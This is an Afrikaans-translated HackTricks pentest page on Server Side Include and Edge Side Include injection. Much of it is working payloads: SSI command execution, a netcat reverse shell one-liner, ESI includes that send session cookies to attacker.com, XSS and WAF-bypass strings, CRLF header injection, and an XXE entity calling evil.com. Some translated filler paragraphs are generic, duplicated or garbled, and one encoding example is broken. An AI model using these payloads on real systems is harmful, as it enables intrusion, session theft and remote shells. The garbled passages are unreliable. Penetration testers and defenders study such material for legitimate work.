Server Side Inclusion/Edge Side Inclusion Injection

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!

• Kry die amptelike PEASS & HackTricks swag

• Ontdek The PEASS Family, ons versameling eksklusiewe NFTs

• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.

• Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.

Basiese Inligting oor Serverkant Insluiting

(Inleiding geneem vanaf Apache-dokumentasie)

SSI (Serverkant Insluitings) is riglyne wat in HTML-bladsye geplaas word en op die bediener geëvalueer word terwyl die bladsye bedien word. Dit stel jou in staat om dinamies gegenereerde inhoud by 'n bestaande HTML-bladsy te voeg sonder om die hele bladsy via 'n CGI-program of ander dinamiese tegnologie te bedien. Byvoorbeeld, jy kan 'n riglyn in 'n bestaande HTML-bladsy plaas, soos:

<!--#echo var="DATE_LOCAL" -->

En, wanneer die bladsy bedien word, sal hierdie fragment geëvalueer word en vervang word met sy waarde:

Dinsdag, 15-Jan-2013 19:28:54 EST

Die besluit oor wanneer om SSI te gebruik, en wanneer om jou bladsy heeltemal deur 'n program te laat genereer, is gewoonlik 'n saak van hoeveel van die bladsy staties is en hoeveel elke keer as die bladsy bedien word, herbereken moet word. SSI is 'n goeie manier om klein stukkies inligting, soos die huidige tyd - soos hierbo getoon, by te voeg. Maar as 'n meerderheid van jou bladsy op die oomblik van bediening gegenereer word, moet jy na 'n ander oplossing kyk.

Jy kan die teenwoordigheid van SSI aflei as die webtoepassing lêers met die uitbreidings ** .shtml, .shtm of .stm** gebruik, maar dit is nie die enigste geval nie.

'n Tipiese SSI-uitdrukking het die volgende formaat:

<!--#directive param="value" -->

Kontroleer

Om te bepaal of 'n webtoepassing vatbaar is vir 'n server-side insluiting (SSI) of 'n kantlyn insluiting (ESI) inspuiting, kan jy die volgende stappe volg:

1. Identifiseer die invoer veld: Vind die invoer veld wat gebruik word om die insluitingsvermoë van die toepassing te beheer.

2. Voer 'n eenvoudige insluitingsvermoë in: Voer 'n eenvoudige insluitingsvermoë in, soos <!--#include file="file.txt" --> vir SSI of <esi:include src="file.txt" /> vir ESI. As die insluiting korrek verwerk word en die inhoud van die lêer in die respons verskyn, is die toepassing vatbaar vir inspuiting.

3. Voer 'n kwaadwillige insluitingsvermoë in: Voer 'n kwaadwillige insluitingsvermoë in, soos <!--#exec cmd="ls" --> vir SSI of <esi:eval>system('ls')</esi:eval> vir ESI. As die insluiting uitgevoer word en die resultate van die kwaadwillige kode in die respons verskyn, is die toepassing kwesbaar vir inspuiting.

4. Analiseer die respons: Analiseer die respons om te bepaal of die insluitingsvermoë suksesvol was en of die kwaadwillige kode uitgevoer is. As die insluiting suksesvol was en die kwaadwillige kode uitgevoer is, is die toepassing kwesbaar vir inspuiting.

Deur hierdie stappe te volg, kan jy die vatbaarheid van 'n webtoepassing vir SSI- of ESI-inspuiting bepaal en potensiële kwesbaarhede identifiseer wat misbruik kan word deur 'n aanvaller.

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Randkant-inlywing

Daar is 'n probleem met die gekasseerde inligting of dinamiese toepassings aangesien 'n gedeelte van die inhoud mag varieer vir die volgende keer dat die inhoud opgehaal word. Dit is waar ESI vir gebruik word, om deur middel van ESI-etikette aan te dui watter dinamiese inhoud gegenereer moet word voordat die gekasseerde weergawe gestuur word. As 'n aanvaller in staat is om 'n ESI-etiket in die gekasseerde inhoud in te spuit, kan hy in staat wees om arbitrêre inhoud in te spuit in die dokument voordat dit na die gebruikers gestuur word.

ESI Opmerking

Die volgende kop in 'n respons van die bediener beteken dat die bediener ESI gebruik:

Surrogate-Control: content="ESI/1.0"

As jy hierdie kop nie kan vind nie, kan die bediener steeds ESI gebruik. 'n Blind uitbuitingsbenadering kan ook gebruik word aangesien 'n versoek na die aanvaller se bediener moet arriveer:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI-uitbuiting

GoSecure het 'n tabel geskep om moontlike aanvalle te verstaan wat ons kan probeer teen verskillende ESI-bevoegde sagteware, afhangende van die ondersteunde funksionaliteit:

• Includes: Ondersteun die <esi:includes> rigtingaanwysing

• Vars: Ondersteun die <esi:vars> rigtingaanwysing. Nuttig vir die omseil van XSS-filters

• Cookie: Dokumentkoekies is toeganklik vir die ESI-enjin

• Upstream Headers Vereis: Surrogaat-toepassings sal nie ESI-verklarings verwerk tensy die opwaartse toepassing die koppe voorsien nie

• Host Allowlist: In hierdie geval is ESI-insluitings slegs moontlik vanaf toegelate bedienergasheerders, wat byvoorbeeld slegs moontlik is teen daardie gasheerders

Sagteware	Includes	Vars	Cookies	Upstream Headers Vereis	Host Witlys
Squid3	Ja	Ja	Ja	Ja	Nee
Varnish Cache	Ja	Nee	Nee	Ja	Ja
Fastly	Ja	Nee	Nee	Nee	Ja
Akamai ESI Toetsbediener (ETS)	Ja	Ja	Ja	Nee	Nee
NodeJS esi	Ja	Ja	Ja	Nee	Nee
NodeJS nodesi	Ja	Nee	Nee	Nee	Opsioneel

XSS

Die volgende ESI-rigtingaanwysing sal 'n willekeurige lêer laai binne die respons van die bediener.

<esi:include src=http://attacker.com/xss.html>

Deur klient XSS-beskerming te omseil

To bypass client XSS protection, you can try the following techniques:

Om klient XSS-beskerming te omseil, kan jy die volgende tegnieke probeer:

1. HTML encoding: Encode the malicious payload using HTML entities to bypass client-side XSS filters. For example, < can be encoded as < and > as >.

   HTML-kodering: Kodeer die skadelike lading met behulp van HTML-entiteite om klientkant XSS-filters te omseil. Byvoorbeeld, < kan gekodeer word as < en > as >.

2. JavaScript encoding: Encode the payload using JavaScript encoding techniques such as Unicode encoding or URL encoding. This can help bypass client-side XSS filters that only look for specific patterns.

   JavaScript-kodering: Kodeer die lading met behulp van JavaScript-koderingstegnieke soos Unicode-kodering of URL-kodering. Dit kan help om klientkant XSS-filters te omseil wat slegs spesifieke patrone soek.

3. DOM-based XSS: Exploit vulnerabilities in the Document Object Model (DOM) to execute malicious JavaScript code. This bypasses client-side XSS filters as they do not analyze the DOM.

   DOM-gebaseerde XSS: Benut kwesbaarhede in die Document Object Model (DOM) om skadelike JavaScript-kode uit te voer. Dit omseil klientkant XSS-filters omdat hulle nie die DOM analiseer nie.

4. Polyglot payloads: Use payloads that can be interpreted as different types of code, such as both JavaScript and HTML. This can bypass client-side XSS filters that only look for specific code patterns.

   Polyglot-ladings: Gebruik ladings wat geïnterpreteer kan word as verskillende tipes kode, soos beide JavaScript en HTML. Dit kan klientkant XSS-filters omseil wat slegs spesifieke kodepatrone soek.

It is important to note that bypassing client XSS protection may be unethical and illegal without proper authorization. Always ensure you have the necessary permissions before attempting any hacking techniques.

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Steel Koekie

• Verwyder koekie op afstand

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

• Steel koekie HTTP_ONLY met XSS deur dit te reflekteer in die respons:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Privaat Plaaslike Lêer

Moenie dit verwar met 'n "Plaaslike Lêer Insluiting" nie:

<esi:include src="secret.txt">

CRLF

CRLF (Carriage Return Line Feed) is a special character sequence that represents the end of a line in various operating systems, including Windows. It consists of two characters: a carriage return (CR) and a line feed (LF).

In the context of web security, CRLF injection refers to a type of attack where an attacker injects CRLF characters into user input fields or HTTP headers to manipulate the behavior of the web application or server. This can lead to various security vulnerabilities, such as HTTP response splitting, HTTP header injection, and server-side request forgery (SSRF).

CRLF injection attacks can be used to perform various malicious activities, including:

• HTTP response splitting: By injecting CRLF characters into user input fields or HTTP headers, an attacker can manipulate the HTTP response to insert additional content or perform cross-site scripting (XSS) attacks.

• HTTP header injection: By injecting CRLF characters into HTTP headers, an attacker can manipulate the headers to perform various attacks, such as session fixation, cache poisoning, or redirecting users to malicious websites.

• Server-side request forgery (SSRF): By injecting CRLF characters into user input fields or HTTP headers, an attacker can manipulate the server's requests to access internal resources or perform actions on behalf of the server.

To prevent CRLF injection attacks, it is important to properly validate and sanitize user input, especially when it is used in HTTP headers or other sensitive areas. Input validation should include checking for the presence of CRLF characters and rejecting any input that contains them.

Additionally, web application firewalls (WAFs) and security scanners can help detect and mitigate CRLF injection vulnerabilities by identifying and blocking malicious input.

By understanding CRLF injection and implementing proper security measures, web applications can protect themselves against this type of attack and ensure the integrity and security of user data.

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Oop Verwysing

Die volgende sal 'n Location kop aan die respons toevoeg.

<!--esi $add_header('Location','http://attacker.com') -->

Voeg Koptekst Toe

• Voeg koptekst toe in gedwongen verzoek

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>

• Voeg 'n kop in die respons by (nuttig om "Content-Type: text/json" in 'n respons met XSS te omseil)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF in Voeg koptekst by (CVE-2019-2438)

Die CRLF-injectie (Carriage Return Line Feed) in die "Add header" funksie kan gebruik word om 'n kwaadwillige koptekst in te sluit wat lei tot verskeie aanvalle soos HTTP-omleiding, HTTP-response splitting en Cross-Site Scripting (XSS). Hierdie kwesbaarheid is bekend as CVE-2019-2438.

Die aanvaller kan 'n kwaadwillige koptekst insluit deur die CRLF-tekenreeks ("%0d%0a") te gebruik. Hier is 'n voorbeeld van hoe dit gedoen kan word:

GET /page HTTP/1.1
Host: example.com
Add header: Location: http://attacker.com%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert('XSS')</script>

In hierdie voorbeeld word 'n kwaadwillige koptekst ingesluit deur die "Add header" veld te manipuleer. Die kwaadwillige koptekst bevat 'n omleidings-URL en 'n XSS-skripsie wat uitgevoer sal word wanneer die webwerf die kwaadwillige koptekst verwerk.

Om hierdie kwesbaarheid te voorkom, moet die invoer van die "Add header" funksie behoorlik gevalideer en gesaniteer word. Dit sluit die verwydering van CRLF-tekenreeks in.

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai foutopsporing

Dit sal foutopsporingsinligting insluit in die respons wat gestuur word:

<esi:debug/>

ESI + XSLT = XXE

Deur die xslt waarde vir die dca parameter te spesifiseer, is dit moontlik om eXtensible Stylesheet Language Transformations (XSLT) gebaseerde ESI in te sluit. Die insluiting veroorsaak dat die HTTP-surrogaat die XML- en XSLT-lêers ophaal, waarvan die laasgenoemde die eerste filter. Sulke XML-lêers is vatbaar vir XML External Entity (XXE) aanvalle, wat aanvallers in staat stel om SSRF-aanvalle uit te voer. Die nut van hierdie benadering is egter beperk, aangesien ESI-insluitings reeds as 'n SSRF-vektor dien. As gevolg van die afwesigheid van ondersteuning in die onderliggende Xalan-biblioteek, word eksterne DTD's nie verwerk nie, wat plaaslike lêeronttrekking voorkom.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT-lêer:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Kyk na die XSLT-bladsy:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Verwysings

• https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/

• https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/

• https://academy.hackthebox.com/module/145/section/1304

• https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91

Brute-Force Opmerkingslys

Auto_Wordlists/ssi_esi.txt at main · carlospolop/Auto_WordlistsGitHub

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!

• Kry die amptelike PEASS & HackTricks swag

• Ontdek The PEASS Family, ons versameling eksklusiewe NFTs

• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.

• Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.